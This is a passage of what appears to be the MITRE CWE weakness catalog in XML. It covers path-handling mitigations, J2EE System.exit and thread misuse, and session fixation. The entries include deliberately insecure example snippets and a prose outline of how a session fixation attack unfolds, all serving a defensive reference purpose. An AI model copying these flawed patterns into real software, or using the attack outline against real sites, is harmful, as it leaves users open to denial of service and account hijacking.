            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1263</Reference>
               <Description>Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1263</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0753</Reference>
               <Description>Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0753</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1525</Reference>
               <Description>Remote attackers can read arbitrary files via an absolute pathname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1525</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>\absolute\pathname\here ('backslash absolute path')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO05-C</Entry_ID>
               <Entry_Name>Identify files using multiple file attributes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Backslash Absolute Path - \absolute\pathname\here</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="382" Name="J2EE Bad Practices: Use of System.exit()" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A J2EE application uses System.exit(), which also shuts down its container.</Description>
         <Extended_Description>It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="705" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>A call to System.exit() is probably part of leftover debug code or code imported from a non-J2EE application.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>The shutdown function should be a privileged function available only to a properly authorized administrative user</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Web applications should not call methods that cause the virtual machine to exit, such as System.exit()</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Web applications should also not throw any Throwables to the application server as this may adversely affect the container.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:div style="margin-left:1em;">try {<xhtml:div style="margin-left:1em;">...</xhtml:div>} catch (ApplicationSpecificException ase) {<xhtml:div style="margin-left:1em;">logger.error("Caught: " + ase.toString());<xhtml:br/>System.exit(1);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>J2EE Bad Practices: System.exit()</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR09-J</Entry_ID>
               <Entry_Name>Do not allow untrusted code to terminate the JVM</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Modes_of_Introduction, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">J2EE Bad Practices: System.exit()</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="383" Name="J2EE Bad Practices: Direct Use of Threads" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Thread management in a Web application is forbidden in some circumstances and is always highly error prone.</Description>
         <Extended_Description>Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="695" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>For EJB, use framework approaches for parallel execution, instead of using threads.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, a new Thread object is created and invoked directly from within the body of a doGet() method in a Java servlet.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// Perform servlet tasks.</xhtml:i>
                           <xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// Create a new thread to handle background processing.</xhtml:i>
                           <xhtml:br/>Runnable r = new Runnable() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>public void run() {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// Process and store request statistics.</xhtml:i>
                                       <xhtml:br/>...</xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>};<xhtml:br/>
                           <xhtml:br/>new Thread(r).start();</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>J2EE Bad Practices: Threads</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">J2EE Bad Practices: Threads</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">J2EE Bad Practices: Use of Threads</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="384" Name="Session Fixation" Abstraction="Compound" Structure="Composite" Status="Incomplete">
         <Description>Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.</Description>
         <Extended_Description>
            <xhtml:p>Such a scenario is commonly observed when:</xhtml:p>
            <xhtml:ul>
               <xhtml:li>A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.</xhtml:li>
               <xhtml:li>An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.</xhtml:li>
               <xhtml:li>The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.</xhtml:li>
            </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="Requires" CWE_ID="346" View_ID="1000"/>
            <Related_Weakness Nature="Requires" CWE_ID="472" View_ID="1000"/>
            <Related_Weakness Nature="Requires" CWE_ID="441" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Invalidate any existing session identifiers prior to authorizing a new user session.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example shows a snippet of code from a J2EE web application where the application authenticates users with LoginContext.login() without first calling HttpSession.invalidate().</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private void auth(LoginContext lc, HttpSession session) throws LoginException {<xhtml:div style="margin-left:1em;">...<xhtml:br/>lc.login();<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.</Body_Text>
               <Body_Text>In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.</Body_Text>
               <Body_Text>In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the &lt;code&gt;j_security_check&lt;/code&gt;, which typically does not invalidate the existing session before processing the login request.</Intro_Text>
               <Example_Code Nature="Bad" Language="HTML">
                  <xhtml:div>&lt;form method="POST" action="j_security_check"&gt;<xhtml:div style="margin-left:1em;">&lt;input type="text" name="j_username"&gt;<xhtml:br/>&lt;input type="text" name="j_password"&gt;</xhtml:div>&lt;/form&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Session Fixation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>37</Entry_ID>
               <Entry_Name>Session Fixation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="196"/>
            <Related_Attack_Pattern CAPEC_ID="21"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="39"/>
            <Related_Attack_Pattern CAPEC_ID="59"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
            <Related_Attack_Pattern CAPEC_ID="61"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Other">Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
